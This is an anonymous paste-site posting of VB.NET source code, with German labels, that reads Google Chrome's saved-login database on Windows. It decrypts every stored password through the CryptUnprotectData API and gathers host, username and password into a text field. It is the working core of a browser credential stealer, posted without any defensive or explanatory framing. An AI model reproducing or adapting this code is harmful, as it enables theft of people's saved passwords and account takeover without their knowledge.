Advertisement
Guest User

Untitled

a guest
Apr 10th, 2016
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.87 KB | None | 0 0
  1. Public cPass As String
  2. Public Sub GetChrome()
  3. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  4.  
  5. Try
  6. Dim SQLDatabase = New SQLiteHandler(datapath)
  7. SQLDatabase.ReadTable("logins")
  8.  
  9. If File.Exists(datapath) Then
  10.  
  11. Dim host, user, pass As String
  12.  
  13. For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  14. host = SQLDatabase.GetValue(i, "origin_url")
  15. user = SQLDatabase.GetValue(i, "username_value")
  16. pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  17.  
  18. If (user <> "") And (pass <> "") Then
  19. cPass = ("============ Chrome ==============" & vbNewLine & "Host: " & host & vbNewLine & "Benutzername: " & user & vbNewLine & "Passwort: " & pass & vbNewLine & "=============================" & vbNewLine _
  20. & vbNewLine & " ")
  21. DEINE_TEXTBOX.Text += cPass
  22. End If
  23. Next
  24.  
  25. End If
  26. Catch e As Exception
  27. MsgBox(e.ToString)
  28. End Try
  29. End Sub
  30. <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  31. Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  32. End Function
  33. <Flags()> Enum CryptProtectPromptFlags
  34. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  35. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  36. End Enum
  37. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  38. Public cbSize As Integer
  39. Public dwPromptFlags As CryptProtectPromptFlags
  40. Public hwndApp As IntPtr
  41. Public szPrompt As String
  42. End Structure
  43. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  44. Public cbData As Integer
  45. Public pbData As IntPtr
  46. End Structure
  47. Function Decrypt(ByVal Datas() As Byte) As String
  48. Dim inj, Ors As New DATA_BLOB
  49. Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  50. inj.pbData = Ghandle.AddrOfPinnedObject()
  51. inj.cbData = Datas.Length
  52. Ghandle.Free()
  53. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  54. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  55. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  56. Dim TheString As String = Encoding.Default.GetString(Returned)
  57. Return TheString.Substring(0, TheString.Length - 1)
  58. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement